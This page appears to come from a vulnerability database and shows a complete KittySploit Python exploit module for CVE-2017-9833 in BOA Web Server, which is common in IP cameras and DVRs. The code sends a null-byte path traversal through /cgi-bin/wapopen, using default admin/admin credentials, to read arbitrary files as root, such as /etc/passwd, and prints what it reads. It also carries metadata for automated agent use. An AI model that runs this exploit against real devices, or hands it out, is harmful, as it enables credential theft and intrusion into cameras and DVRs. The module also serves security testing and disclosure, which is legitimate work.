Lucene search
+L

BOA Web Server LFI (CVE-2017-9833)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

LFI in BOA Web Server /cgi-bin/wapopen reads arbitrary files as root via FILECAMERA.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""BOA Web Server FILECAMERA LFI (CVE-2017-9833)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'BOA Web Server LFI (CVE-2017-9833)',
        'description': (
            'Exploits CVE-2017-9833 in BOA Web Server 0.94.14 (common in IP cameras/DVRs): '
            'FILECAMERA traversal in /cgi-bin/wapopen reads arbitrary files as root.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2017-9833'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2017-9833'],
        'tags': ['boa', 'camera', 'dvr', 'lfi', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read', 'credentials'],
            'chain': {'suggested_followups': ['scanner/http/cve_2017_9833_detect']},
        },
    }

    file_path = OptString('../../etc/passwd', 'Traversal path for FILECAMERA', required=True)

    def execute(self, remote_path: str) -> str:
        cam = urllib.parse.quote(remote_path, safe='')
        path = (
            '/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00'
            f'&FILECAMERA={cam}%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm'
            '&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0'
        )
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r and r.status_code == 200 else ''

    def check(self):
        body = self.execute(str(self.file_path or '../../etc/passwd'))
        if re.search(r'root:[x*]:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'BOA FILECAMERA LFI confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'BOA LFI failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('BOA web server not vulnerable')
            return False
        body = self.execute(str(self.file_path or '../../etc/passwd'))
        print_success(body[:4000])
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
7.6High risk
Vulners AI Score7.6
CVSS 3.17.5
CVSS 27.8
EPSS0.68464
0